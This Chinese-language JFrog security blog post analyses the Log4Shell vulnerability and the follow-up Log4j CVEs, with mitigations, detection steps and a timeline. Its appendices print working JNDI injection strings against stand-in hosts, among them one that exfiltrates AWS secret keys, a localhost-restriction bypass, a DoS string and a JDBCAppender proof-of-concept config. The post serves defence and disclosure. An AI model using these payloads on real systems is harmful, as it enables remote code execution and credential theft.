Log4j Log4Shell 零日漏洞: 您需了解的所有信息

Log4Shell Vulnerability Explained

2021 年 12 月 9 日(星期四),阿里巴巴云安全团队的一名研究人员在 Twitter 上发布了一个零日远程代码执行攻击程序,该攻击程序以非常流行的 Java 日志记录框架 Log4j(特别是 2.x 分支 Log4j2)作为攻击目标。 该漏洞最初由阿里巴巴云安全团队于 11 月 24 日发现并向 Apache 报告。 MITRE 为该漏洞分配编号 CVE-2021-44228,此后安全研究人员会称其为 Log4Shell


JFrog 发布用于识别 Log4j 使用情况和风险的 OSS 工具
获取扫描工具

据报道,自 12 月 9 日以来,普通用户中发生大规模的 Log4j 漏洞攻击。由于该漏洞易受攻击(可公开获得武器化的 PoC)并且非常普遍,故而得到媒体和社交网络的广泛报道。

在这篇技术博文中,我们将澄清该问题的攻击载体,提供准确且有研究支持的新信息,说明究竟什么内容易受攻击(因为有些报告并不准确),向不能轻松升级 Log4j 版本的厂商提出 Log4j 漏洞修复方案,并回答一些我们被问到的有关该漏洞的亟待解决问题(例如,在过去数天流传的一些缓解措施的有效性)。

注意JFrog 产品不受影响,因为其没有使用 log4j-core 包。

 

该博文包含如下内容:

技术更新:

什么原因导致了 Log4j Log4Shell 漏洞的出现?

Log4j2 默认支持称为“消息查找替换”的日志记录功能。 使用该功能,在日志记录时,可将某些特殊字符串替换为其他动态生成的字符串。 例如,记录字符串 Running ${java:runtime} 时,将产生类似于如下的输出内容:

Running Java version 1.7.0_67

人们已经发现其中一种查找方法,具体来说就是 JNDI 查找方法,当与 LDAP 协议搭配使用时,将从远程源获取指定的 Java 类并将其反序列化,在此过程中执行该类的一些代码。

这意味着,如果记录的字符串的任一部分被远程攻击者控制,远程攻击者就会在记录该字符串的应用程序上获得远程代码执行权限。

利用该问题进行攻击的最常见替换字符串类似于:

${jndi:ldap://somedomain.com}

请注意,以下协议也可用于利用该问题进行攻击(其中一些并非默认可用):

${jndi:ldaps://somedomain.com}

${jndi:rmi://somedomain.com}

${jndi:dns://somedomain.com}(允许检测易受攻击的服务器,不会导致代码执行问题。)

基本的攻击流程可以用下图来概括:

Log4j log4shell vulnerability attack flow

为何 Log4Shell 如此危险?

由于多种因素,该漏洞获得了可能是最高的 CVSS 评分 (10.0),极其危险:

  1. 借助 GitHub 和其他公共资源上的的大量武器化攻击程序,攻击者可轻易而持久地利用该漏洞进行攻击。
  2. Log4j2 是 Java 日志记录框架之一。 目前有近 7,000 个 Maven 制品依赖于 log4j-core(该制品易受攻击),并且有海量使用该制品的其他 Java 项目。
  3. 该漏洞很容易被用于路过式攻击情形,即用类似于如下格式的请求随机攻击 HTTP 服务器:

GET / HTTP/1.1

Host: somedomain.com

User-Agent: ${jndi:ldap://attacker-srv.com/foo}

或者,可以使用诸如 XSStrike 之类的自动化工具,通过使用有效负载字符串,填充所有可用的 HTML 输入字段,从而强制执行特定的 Web 应用程序。

4. 尽管该漏洞与上下文相关,但由于任意用户输入必须满足 Log4j2 日志记录函数之一的要求(请参阅下文),这种情况极为常见。 在大多数日志记录场景中,部分日志消息包含来自用户的输入。 此类输入很少被清理,因为其被认为是极其安全的。

Log4j 漏洞具体会在何种情况下被攻击?

若要特定 Java 应用程序易受攻击,必须满足以下所有条件:

  • Java 应用程序使用 Log4j(Maven 包 log4j-core)版本 2.0.0-2.12.1 或 2.13.0-2.14.1
    • 版本 2.12.2 不易受到攻击,因为其收纳了来自版本 2.16.0 的向后移植修复方案。
  • 远程攻击者可以通过如下其中一个日志记录 API 记录任意字符串: logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logger.warn()
  • 没有应用针对 Log4j 的缓解措施(请参阅下文“缓解措施”)。
  • (在某些机器上)使用的 Java JRE/JDK 版本低于以下版本:
    • 6u211
    • 7u201
    • 8u191
    • 11.0.1

这是因为在更高版本中,默认将 JVM 属性 com.sun.jndi.ldap.object.trustURLCodebase 设置为 false,这会禁止 JNDI 从任意 URL 代码库加载类。
请注意,仅依靠新的 Java 版本来防御该漏洞,风险较高,因为在易受攻击的应用程序的类路径中,包含某些“小工具”类的机器上,仍可攻击该漏洞。 请参阅附录 B:对较高的 Java 版本中的 Log4Shell 进行攻击。

JFrog 产品是否易受攻击?

值得注意的是,JFrog 安全研究团队已经验证了 JFrog 平台解决方案本身没有受到影响,因为没有任何产品,包括 Artifactory、Xray、Distribution、Insight、Access 或 Mission Control,正在使用 log4j-core 包。

为免生疑问,JFrog 产品不受以下任何 CVE 的影响:

  • CVE-2021-44228
  • CVE-2021-45046
  • CVE-2021-45105
  • CVE-2021-44832

若正在使用 log4j-api 包,是否易受攻击?

请注意,一些公告声称 Maven 包 log4j-api 易受到该问题的影响。 JFrog 的安全研究团队调查了这一说法,并得出结论认为 log4j-api(本身)并不易受攻击。 这是由于缺少 JndiLookup 功能所致,可通过尝试触发易受攻击的代码,轻松验证。

are log4j-api packag users affected by log4shell?

在只安装了 log4j-api 的情况下运行这段代码,会产生以下输出:

“错误:StatusLogger Log4j2 未发现日志记录实施。 请将 log4j-core 添加到类路径。 正在使用 SimpleLogger 记录到控制台...”(ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...)

当使用 SimpleLogger 类运行相同的代码时,会逐字记录查找字符串,但不会触发查找代码(因为该代码不存在。)

如何彻底解决 Log4j Log4Shell 问题?

解决该问题的最佳方法是将 Log4j 依赖项升级到版本 2.16.0,该版本默认禁用 JNDI,不再支持消息查找功能,这样可彻底解决该问题。

尽管版本 2.15.0 添加的大多数缓解措施已经被绕过,升级至版本 2.15.0 仍可为默认配置提供全面保护,使其免受远程攻击(请参阅附录 D)。 为避免随时间推移而被淘汰,我们建议尽快升级至版本 2.16.0。

可否在不升级版本的情况下缓解 Log4Shell 漏洞问题?

尽管我们建议通过将 Log4j 版本升级至固定版本来彻底修复该漏洞,但在不升级的情况下也可完全缓解该问题:

方法 1: 对于 Log4j 2.10.0 及更高版本,禁用查找:

更新:只有在少数非默认配置中,攻击者才可通过 CVE-2021-45046 绕过该缓解方法。 有关详细信息,请参阅附录 C 我们仍然建议无法升级至较高的 Log4j2 版本的厂商同时使用该缓解方法和下面指定的缓解方法 2。 缓解方法 2(删除易受攻击的类)不受 CVE-2021-45046 的影响。

如果使用 Log4j 2.10.0 或更高版本,我们建议在系统的某个初始化脚本中加载 Java 应用程序之前执行以下命令,将环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true,从而全局禁用消息查找功能:

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

也可使用以下方法在整个系统内禁用消息查找功能:编辑 /etc/environment 文件并添加:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

如果您怀疑并非所有依赖项都已正确更新,可使用该方法作为额外的一层保护,甚至可以用来抵御依赖/嵌入易受攻击版本且尚未正确进行修补的第三方 Java 包带来的风险。

或者,可通过在运行易受攻击的 Java 应用程序时添加以下命令行标志来为 JVM 的特定调用禁用查找功能: ‐Dlog4j2.formatMsgNoLookups=True

例如:

java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar

方法 2:针对所有 2.x 版本, 删除易受攻击的类

在所有 Log4j 2.x 版本中,可通过执行以下命令从任何 Java 应用程序中删除 JndiLookup 类:

find ./ -type f -name "log4j-core-*.jar" -exec zip -q -d "{}" org/apache/logging/log4j/core/lookup/JndiLookup.class \;

这将从当前目录开始递归查找所有 log4j-core JAR 文件,并从中删除易受攻击的 JndiLookup 类。 为了实现全面覆盖,可以从项目或服务器的根目录执行该命令。

注意: 仅建议在万不得已的时候使用该方法,因为易受攻击的 JndiLookup 类可能嵌入在递归 JAR 文件中或 zip 命令无法访问的位置中。 选择该方法时,强烈建议手动验证任何 Java 应用程序都没有可用的 JndiLookup 类。

如何使用 JFrog Xray 检测 Log4Shell 漏洞?

Xray 客户可像往常一样对制品进行 CVE-2021-44228 漏洞排查。 与往常一样,这可以通过 CI/CD 完成。

Log4shell CVE-2021-44228

JFrog CLI:

Log4shell detecting CVE-2021-44228 in JFrog CLI

或者 JFrog IDE 插件:

Log4shell detecting CVE-2021-44228 in JFrog IDE

附录 A

易受攻击型示例

易受远程攻击的示例应用程序(来自 LunaSec 的公告):

 

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

 

import java.io.*;

import java.sql.SQLException;

import java.util.*;

 

public class VulnerableLog4jExampleHandler implements HttpHandler {

 

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

 

  /**

   * A simple HTTP endpoint that reads the request's User Agent and logs it back.

   * This is basically pseudo-code to explain the vulnerability, and not a full example.

   * @param he HTTP Request Object

   */

  public void handle(HttpExchange he) throws IOException {

    String userAgent = he.getRequestHeader("user-agent");

 

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.

    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}

    log.info("Request User Agent:{}", userAgent);

 

    String response = "Hello There, " + userAgent + "!";

    he.sendResponseHeaders(200, response.length());

    OutputStream os = he.getResponseBody();

    os.write(response.getBytes());

    os.close();

  }

}

 

附录 B:

对较高版本 Java 中的 Log4Shell 进行攻击

方法 1:滥用其他消息查找功能

尽管在较高的 Java 版本中禁用了 JNDI 远程类加载,但消息查找机制本身仍然有效,会被滥用,以用于多种目的:

  1. 如前所述,使用 ${jndi:dns://dnsserver.com/somedomain} 之类的字符串会导致受害者向 dnsserver.com 发送 DNS 查询请求(查询有关 somedomain DNS 记录内容)。 这可用于检测易受攻击的 Log4j 实例,隧道回传数据,甚至作为 DDoS 攻击手段(如果易受攻击的服务数量足够多的话)
  2. 有若干查找替代方法可暴露出受害者机器的敏感信息。 最为明显的是,使用攻击字符串 ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker-srv.com/foo} (任何协议类型皆可)可能会泄漏机器的秘密 AWS 访问密钥(如果该环境变量导出至易受攻击的 Log4j 进程)。 当然,可修改攻击字符串,以泄漏易受攻击的 Log4j 进程中的任何环境变量。 其他引人关注的信息泄露查找项包括:
    1. ${main:x} :泄露命令行自变数 #x 的值,其中可能包含敏感数据,例如通过命令行传递的密码或访问密钥。
    2. ${sys:propname} :泄露 Java 系统属性的值。 例如,该查找项可用于泄露当前用户名 (user.name):

log4shell - identify the security bearch - leaked username

方法 2:滥用本地类路径中的工厂类

正如在这篇 Veracode 博文中详细解释的那样,即使在禁用远程反序列化功能的较高 Java 版本中,也有方法可以利用 JNDI 注入。

例如,如果 org.apache.naming.factory.BeanFactory 类(通常随 Apache Tomcat 服务器一起提供)在使用 Log4j 的易受攻击的应用程序的类路径中可用,则可以攻击 Log4Shell 漏洞,进行远程代码执行操作,而不考虑底层 JRE/JDK 版本如何。

这是因为即使较高的 Java 版本不会对远程任意类进行反序列化,攻击者仍然可以通过提供的 JNDI 引用控制工厂类及其属性

Application that uses log4j, Log4Shell vulnerability can be exploited - Appache example -  

远程攻击者无法提供任意工厂类,但可以重用易受攻击程序的类路径中的任何工厂类作为小工具。

可用的工厂类将具有以下属性:

  • 存在于易受攻击程序的类路径中
  • 可实现 ObjectFactory 接口
  • 可实现 getObjectInstance 方法
  • 可使用引用的属性执行危险操作

研究人员发现 BeanFactory 类符合这一要求,因为其通过危险方法使用了反射:可创建任意 Java 代码对象,其完全基于引用的字符串属性(由攻击者控制)。

本博客引用了托管具备适当引用的 RMI 服务器的完整漏洞攻击代码,在易受攻击的应用程序的类路径中存在 BeanFactory 类的机器上,该服务器可用于在更高版本 Java 中利用 Log4shell 进行攻击。

请注意,使用此类服务器时,Log4Shell 攻击字符串类似于以下字符串:

${jndi:rmi://attacker-srv.com/foo}

然而,所提供的 RMI 服务器也可以转换为 LDAPLDAPS 服务器,在这种情况下,攻击字符串将相应更改。

由于将来可能会发现其他例如 BeanFactory 类的“工厂小工具”,强烈建议不要将较高的 Java 版本作为抵御 Log4Shell 漏洞攻击的唯一防线,而是升级 Log4j 和/或实施我们提出的一些缓解措施。

方法 3:将序列化的 Java 对象与本地小工具类一起使用

如上所述,未作过实验的攻击载体将指示易受攻击的基于 Log4j2 的应用程序检索远程序列化类(通常是通过 LDAP),并对其进行加载,由此攻击者可完全控制类的内容。

但是,LDAP 还支持通过使用 javaSerializedData 属性,在 LDAP 请求本身中发送序列化的 Java 对象(类的实例)。
只有当对象的类在当前类路径中(目录和 JAR 文件的列表,用于搜索类)可用时,才能对对象进行反序列化。
一个重要的区别是,在对对象进行反序列化时,trustURLCodebase 安全缓解措施没有效果,因为该特定的缓解措施只会阻止加载新的代码库。

众所周知,一些特定的对象在反序列化时会直接导致远程代码执行,此类对象所基于的类俗称为“小工具”。
例如,ysoserial 概念验证工具聚合了其中一些众所周知的小工具,并可生成具有任意代码执行有效负载的对象。

因此,如果攻击者知道易受攻击的应用程序的类路径中存在特定的“小工具”类,则可生成此类对象,通过 LDAP 发送,并在反序列化时获得代码执行,而不管 javaSerializedData 属性如何。

此外,由于上述漏洞的信息泄露属性,攻击者或许能够构建一个完全自动化工具,首先从易受攻击的应用程序中查询特定系统属性(通过使用递归查找功能),确定是否有任何小工具类存在于易受攻击的应用程序中,然后构建特定于目标的有效负载,以获得远程代码执行。

直至今日,仍然没有此类工具公开可用或在私下使用,更糟糕的是,我们认为该恶意漏洞攻击活动还远远没有结束。

 

附录 C:

攻击 CVE-2021-45046 漏洞,绕过 LOG4J_FORMAT_MSG_NO_LOOKUPS 缓解措施

我们想在本节开头表示,满足执行该绕过方案前提条件的可能性极低,因此我们仍然认为 LOG4J_FORMAT_MSG_NO_LOOKUPS 缓解措施在绝大多数情况下是有效的。

CVE-2021-45046 的披露表明可以在某些非默认配置中绕过建议的缓解技术之一,即禁用消息查找机制。

底线为如果可在 Log4j2 2.10.0 – 2.14.1(包括在内)版本中攻击 CVE-2021-45046,攻击者可通过攻击该漏洞,同时绕过 LOG4J_FORMAT_MSG_NO_LOOKUPS 环境变量缓解措施以及 log4j2.noFormatMsgLookup 系统属性缓解措施。

那么,攻击 CVE-2021-45046 的条件是什么?

(多亏了社区项目 log4shell-vulnerable-app 的有力支持,其实现了类似示例条件)

  1. 必须将新的(非默认)模式布局添加至 Log4j2 配置中。 模式布局必须使用 Context Lookup (${ctx:)。 易受攻击的 log4j2.properties 文件示例:

    # vulnerable in 2.14.1 even with ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true
    appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

    请注意,可以通过多种不同方式指定 Log4j2 配置,但在任何情况下,都没有默认的 Context Lookup 模式布局:

    COnfiguration of Log4j 2

  1. 易受攻击的应用程序必须使用 Thread Context Map,攻击者可以控制输入数据,例如:

    public void handle(HttpExchange he) throws IOException {
        // userAgent is attacker-controlled
        String userAgent = he.getRequestHeader("User-Agent"); 
         
        // Note that 1st argument matches the variable name from the configured pattern
        ThreadContext.put("useragent", userAgent); 
         
        // The log message itself doesn't need to contain any message lookup
        log.info("Received a request with User-Agent");
        ...

如果这两个条件都存在,攻击者可以“像往常一样”发送攻击令牌,例如,在这种情况下,攻击者可以发送 HTTP 请求,如下示例:

GET / HTTP/1.1
Host: somedomain.com
User-Agent: ${jndi:ldap://attacker-srv.com/foo}

尽管采取 LOG4J_FORMAT_MSG_NO_LOOKUPS 缓解措施,但仍会执行代码。

 

更新 #1:@pwntester 在 Twitter 上发布的更多易受攻击模式示例:

MapMessage

模式布局示例:

appender.console.layout.pattern = ${map:tainted} ...

传递用户控制数据的 Java 代码示例(遭受污染):

MapMessage msg = new StringMapMessage().with("message", "H").with("tainted", TAINTED);
logger.error(msg);

 

Jackson(仅当 Jackson 在应用程序的类路径中时)

模式布局示例:

appender.console.layout.pattern = ${map:tainted} ...

传递用户控制数据的 Java 代码示例(遭受污染):

logger.info(new ObjectMessage(TAINTED));

StructuredDataMessage

模式布局示例:

appender.console.layout.pattern = ${sd:tainted} ...

传递用户控制数据的 Java 代码示例(遭受污染):

StructuredDataMessage m = new StructuredDataMessage("1", "H", "event");
m.put("tainted", TAINTED);
logger.error(m);

 

更新 #2:更多由 JFrog 安全研究团队发现并验证的易受攻击型模式示例

环境

模式布局示例:

appender.console.layout.pattern = ${env:TAINTED_ENV_VAR} ...

 

主要变量

模式布局示例:

appender.console.layout.pattern = ${main:0} ...

传递用户控制数据的 Java 代码示例(遭受污染):

MainMapLookup.setMainArguments(args);
logger.error("foo");

 

事件(消息)

配置示例:


<?xml version="1.0" encoding="UTF-8"?> 
<Configuration status="WARN" name="RoutingTest"> 
  <Appenders> 
    <Routing name="Routing"> 
      <Routes> 
        <Route pattern="aaa"> 
          <Console name="STDOUT"> 
            <PatternLayout> 
              <pattern>${event:Message} ... </pattern> 
            </PatternLayout> 
          </Console> 
        </Route> 
      </Routes> 
    </Routing> 
  </Appenders> 
  <Loggers> 
    <Root level="error"> 
      <AppenderRef ref="Routing" /> 
    </Root> 
  </Loggers> 
</Configuration>

 This will effectively turn message lookups back on. As such, exploitation can be performed similarly to older Log4j versions - logger.info("${jndi:ldap://attacker.com/foo}");

 

附录 D:

攻击 Log4j2 2.15.0,以远程执行代码

在 Log4j2 2.15.0 版本中添加了一些重要的缓解措施以拒绝对 Log4Shell (CVE-2021-44228) 漏洞进行攻击的要求。 如下是添加的缓解措施及其当前的绕过状态:

    1. 默认情况下禁用消息查找功能:可在特定配置中绕过(对 CVE-2021-45046 等漏洞进行攻击)

 

    1. allowedJndiProtocols :默认情况下,JNDI 仅允许以下协议:LDAP、LDAPS、Java(本地)(无已知绕过方案)

 

    1. allowedLdapHosts :默认情况下,通过 LDAP,JNDI 只能访问本地主机 (127.0.0.1/localhost),在特定操作系统可绕过(此类操作系统包括 macOS、FreeBSD、Fedora、Arch Linux 和 Alpine Linux)

 

    1. allowedLdapClasses :默认情况下,通过 LDAP,JNDI 只能加载 Java 原始类,可随时绕过

 

由于可绕过缓解措施 #3 和 #4,CVE-2021-45046 漏洞级别从“低”(3.7) 升级至“严重”(9.0),因为一旦攻击该漏洞,会立即导致 RCE。 话虽如此,正如我们上文所述,我们仍然认为满足攻击 CVE-2021-45046 漏洞前提条件的可能性极低,因为前提条件的产生需要一种极为少见的非默认配置。

以下是有关特定绕过方案的更多详细信息:

默认情况下,禁用消息查找功能

该缓解措施可以通过以下方式绕过:

    1. 附录 C 中指定的任何一种配置

 

    1. 如果应用程序明确允许使用消息查找功能,则通过在其中一个配置文件中定义包含 %m{lookups} 的模式布局。 例如: appender.console.layout.pattern = %m{lookups}

 

如前所述,绕过 Log4j2 2.15.0 版本中的该缓解措施目前可直接导致 RCE。

 

默认情况下,使用 LDAP,JNDI 只能访问本地主机

正如 @marcioalm 在 Twitter 上所述,类似于 ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} 的字符攻击串将绕过本地主机限制,但最终会联系远程 evilhost.com 只有当易受攻击的应用程序在 macOS 和 FreeBSD 上运行时,我们才能重现该绕过方案。 外部消息来源也报告称 Fedora、Arch Linux 和 Alpine Linux 易受攻击。 在其他操作系统上,Java 抛出 UnknownHostException (在 Ubuntu、Debian 和 Windows 上测试)

 

默认情况下,通过 LDAP,JNDI 只能加载 Java 原始类

请注意,如果 JNDI 已通过非默认配置启用,则以下两种绕过方案也适用于版本 2.16.0

绕过方案 #1:TOCTOU 攻击

该漏洞是由 JFrog 的安全研究团队和其他安全研究人员独立发现并向 Apache 披露的。

在版本 2.15.0 中引入的类加载缓解措施首先通过调用 getAttributes 检查请求的 LDAP 属性,随后通过调用 lookup 加载由 LDAP 指定的类/对象:


if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
	if (!allowedHosts.contains(uri.getHost())) {
		LOGGER.warn("Attempt to access ldap server not in allowed list");
		return null;
	}
	// GET THE CLASS ATTRIBUTES
	Attributes attributes = this.context.getAttributes(name);
	if (attributes != null) {
		// CLASS LOADING CHECKS HERE
		...
	}
	...
}
...
// LOAD THE CLASS
return (T) this.context.lookup(name);
...

然而,调用 getAttributes 和 lookup 都会导致发送单独的 LDAP 请求

恶意服务器无需为 getAttributeslookup 请求发回相同的 LDAP 响应。

因此,攻击者可以轻松实现 LDAP 服务器,其操作如下:

  • 在 LDAP 请求 #1 上:发回带有 NULL 属性的响应(将导致包代码跳过所有属性检查)
  • 在 LDAP 请求 #2 上:发回恶意响应(例如,在 javaCodeBase 中攻击者的 URL)

Log4shell vulnerability - Time-of-Check, Time-of-Use (ToCToU) attack

这是一个典型的检查时间与使用时间 (TOCTOU) 攻击,尽管没有竞态条件,因为同步查询了攻击者的服务器。

优势:不受限于易受攻击应用程序的类路径中是否存在可用的“小工具”类
劣势:在较高的 Java 版本中加载远程代码库会被阻止(其中 trustURLCodebase 的值为 false)

绕过方案 #2:使用带有伪造名称的序列化对象

在对嵌入的 Java 对象进行反序列化时,以不完整的方式实现对对象类的检查,因为只依据名称来完成类比较:


if (attributeMap.get(SERIALIZED_DATA) != null) {
	if (classNameAttr != null) {
		String className = classNameAttr.get().toString();
		if (!allowedClasses.contains(className)) {
			LOGGER.warn("Deserialization of {} is not allowed", className);
			return null;
		}

因此,攻击者可以在 LDAP 响应中指定一个任意的序列化对象,而将 javaClassName 设置为原始类型之一以绕过检查: private static final List permanentAllowedClasses = Arrays.asList(Boolean.class.getName(),
Byte.class.getName(), Character.class.getName(), Double.class.getName(), Float.class.getName(),
Integer.class.getName(), Long.class.getName(), Short.class.getName(), String.class.getName());

与之前的序列化对象绕过方案类似,这受限于受害者本地类路径中序列化对象下是否存在可用的“小工具”类。

优势:适用于较高的 Java 版本(其中 trustURLCodebase 的值为 false)
劣势:受限于易受攻击应用程序的类路径中是否存在可用的“小工具”类

 

附录 E:

Log4j2 中 CVE-2021-45105 的影响分析

最近,公布了 Log4j2 中一个新的 DoS CVE 漏洞,CVE-2021-45105, 其 CVSS 评分为 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)。 JFrog 安全团队已经验证了有关版本 2.16.0 的 CVE 数据和说法并估计其 CVSS 评分为 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)。 该估计基于以下几点:

CVE-2021-45105 的前提条件

尽管在 CVE 中没有明确说明,但该攻击的前提条件与 CVE-2021-45046 完全相同,即攻击者必须控制其中一种模式布局的非消息部分。 因此,CVE 中提到的攻击案例(“攻击者可控制 Thread Context Map”)只是适用案例之一。 实际上,攻击者可滥用附录 C 中指定的任何非默认配置。 例如,带有 MapMessage 的配置模式也会使应用程序容易受到该 CVE 漏洞的攻击(只要攻击者控制受污染的变量): appender.console.layout.pattern = ${map:tainted} - %-5p %c{1}:%L - %m%n 从我们的角度来看,若需要进行这种非默认(并且不太可能)配置,则提升了该问题的攻击复杂性(复杂性提升至“高级别”)。

DoS 攻击影响

在易受攻击的 Log4j2 版本 2.16.0 上运行公共漏洞攻击字符串 ${::-${::-${}}} ,会产生: IllegalStateException Denial of service impactPoC 字符串不会导致任何过度的 CPU 或内存使用,因此,DoS 攻击影响(如果有的话)应该不会对整个系统产生任何影响。 由于默认情况下在 Log4j2 Appender 中会忽略异常(仅记录,不抛出),抛出的异常不会使服务器崩溃,因此完全减轻了 DoS 攻击影响。

private void handleAppenderError(final LogEvent event, final RuntimeException ex) {
    appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex);
    if (!appender.ignoreExceptions()) { // ignoreExceptions=true, by default
        throw ex;
    }
}

官方修复方案

可通过将 Log4j2 升级至版本 2.17.0 来解决该问题。

使用官方修复方案(版本 2.17.0),则可改变 StrSubstitutor  逻辑以处理 PoC 的边缘用例,并且在有类似输入时不会抛出任何异常。
对于旧版 (Java 7) 用户,已有暗示将发布版本 2.12.3 来解决该问题,尽管在撰写本文时没有这样的版本可用。

 

CVE-2021-45105 漏洞的缓解措施

请注意,该问题与 JNDI 无关,因此之前提出的所有缓解措施(例如删除 JndiLookup 类)都不会缓解该问题。

为了缓解这个问题,在不忽略异常的非默认情况下,厂商可使用异常处理程序包装日志记录代码,这样就不会发生 DoS 攻击。

 

总而言之,该 CVE 漏洞目前似乎不会对生产型 Web 应用程序构成实际威胁。
如前所述,JFrog 估计,该漏洞的实际 CVSS 评分为 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
我们建议厂商在处理将版本 2.16.0 部署升级至 2.17.0 的任务前,专注于将任何较低版本的 Log4j2 部署升级至 2.16.0。

 

附录 F:

Log4Shell 相关事件时间线

2013-07-18:已提交易受攻击的 JNDI 查找功能。
2021-11-24:阿里巴巴员工 Chen Zhaojun 向 Apache 报告了该漏洞。
2021-11-26:MITRE 将漏洞编号 CVE-2021-44228 分配给该漏洞。
2021-12-01:该漏洞的最早攻击证据(根据 Cloudflare)可能表明该漏洞详细信息在公开披露之前就已泄露。
2021-12-05:Apache 的开发人员为解决这个问题创建了一个缺陷问题单,发布版本 2.15.0 被标记为目标修复版本。
2021-12-09:公开了 CVE-2021-44228 漏洞(原Log4Shell CVE 漏洞)。
2021-12-09:一名安全研究人员在 Twitter 上发布了一个零日远程代码执行攻击程序。 该推文后来被删除。
2021-12-10:版本 2.15.0 发布(修复 CVE-2021-44228 漏洞),修复后,默认禁用了消息查找功能,并将 JNDI 操作限制于特定的类和主机名。
2021-12-10:检测到对 Minecraft 服务器的攻击。
2021-12-13:版本 2.16.0 发布(修复 CVE-2021-45046 漏洞),该版本完全删除了消息查找功能(无法在任何配置中启用)并默认禁用 JNDI 支持(可重新启用)。
2021-12-14:公开了 CVE-2021-45046 漏洞,表明仍可在非默认配置下对 Log4Shell 进行攻击,但不会产生严重影响。
2021-12-15:版本 2.12.2 发布(其中修复与版本 2.16.0 类似),以支持 Java 7 的向后移植功能。
2021-12-16:CVE-2021-45046 漏洞的 CVSS 评分提升至 9.0,因为在 Log4j 2.15.0 上发现了针对主机名和类缓解措施的若干绕过方案。
2021-12-18:公开了 CVE-2021-45105 漏洞,显示 Log4j 的字符串替换中的一个小缺陷,这可能导致在非默认配置中抛出异常。
2021-12-18:版本 2.17.0 发布(修复 CVE-2021-45105 漏洞),该版本重新实现了字符串替换功能并将 JNDI 锁定,仅可在本地使用。
2021-12-22:版本 2.12.3 发布(其中修复与版本 2.17.0 类似),以支持 Java 7 的向后移植功能。
2021-12-22:版本 2.3.1 发布(其中修复与版本 2.17.0 类似),以支持 Java 7 的向后移植功能。

 

附录 G:

CVE-2021-44832 的影响分析

公布了 Log4j2 2.17.0 中的另一个远程代码执行 CVE 漏洞 CVE-2021-44832,其 CVSS 评分为 6.6 (AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)。

该 CVE 漏洞在版本 2.17.1 (Java 8)、2.13.4 (Java 7) 和 2.3.2 (Java 6) 中得以修复。

该 CVE 漏洞对前提条件要求极高(详见下文),因此不太可能影响任何实际系统。

在这一点上,我们认为从 Log4j2 2.17.0 版本(或同等版本)升级并不重要。

CVE-2021-44832 的前提条件

目前,只有攻击者可以直接控制 Log4j 的配置文件,特别是攻击者可以添加具有任意属性的”JDBCAppender”,才能攻击该漏洞。

该漏洞是由于“JDBCAppender”在其 DataSource 属性中接受 JNDI 数据源引起的。
当访问 JNDI 数据源时,远程协议(如 LDAP)仍然可用,这意味着指定诸如 ldap://attacker.com:1337 这样的字符串将导致易受攻击的应用程序联系攻击者的服务器,后者可提供要加载的远程类或序列化对象。

PoC

如下是一个极小的配置文件,会触发该漏洞:


<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" name="Config1">
  <Appenders>
    <JDBC name="jdbcTest">
      <DataSource jndiName="ldap://attacker.com:1337/Exploit" />
    </JDBC>
  </Appenders>
</Configuration>

如前所述,Log4j 可通过许多不同的格式(JSON、YAML、properties 等)进行配置,因此这只是工作 PoC 的一个示例。

请注意,易受攻击的应用程序实际上无需记录任何内容,但 logger 确实需要初始化,例如:

Logger logger = LogManager.getLogger("HelloWorld");

CVE-2021-44832 官方修复方案

可通过将 Log4j2 升级至版本 2.17.1 (Java 8)、2.13.4 (Java 7) 或 2.3.2 (Java 6) 来解决该问题。

该官方修复方案禁用了对 JDBCAppender 的 JNDI 支持(默认情况下),并添加了一个名为 log4j2.enableJndiJdbc 的系统属性(可重新启用)。

此外,JDBC 现在重用了通用的 JNDIManager 类,这意味着之前对 JNDI 的所有限制都将适用,即使配置了 “enableJndiJdbc”(例如,连接字符串中只允许使用本地 Java 协议)

CVE-2021-44832 漏洞的缓解措施

与众所周知的 Log4Shell 缓解措施类似,可从 Log4j JAR 文件中删除 “JdbcAppender.class” 文件。

find ./ -type f -name "log4j-core-*.jar" -exec zip -q -d "{}" org/apache/logging/log4j/core/appender/db/jdbc/JdbcAppender.class \;


JFrog 发布用于识别 Log4j 使用情况和风险的 OSS 工具
获取扫描工具

 

标签:容器镜像仓库  开源组件漏洞  制品库  ARTIFACTORY  xray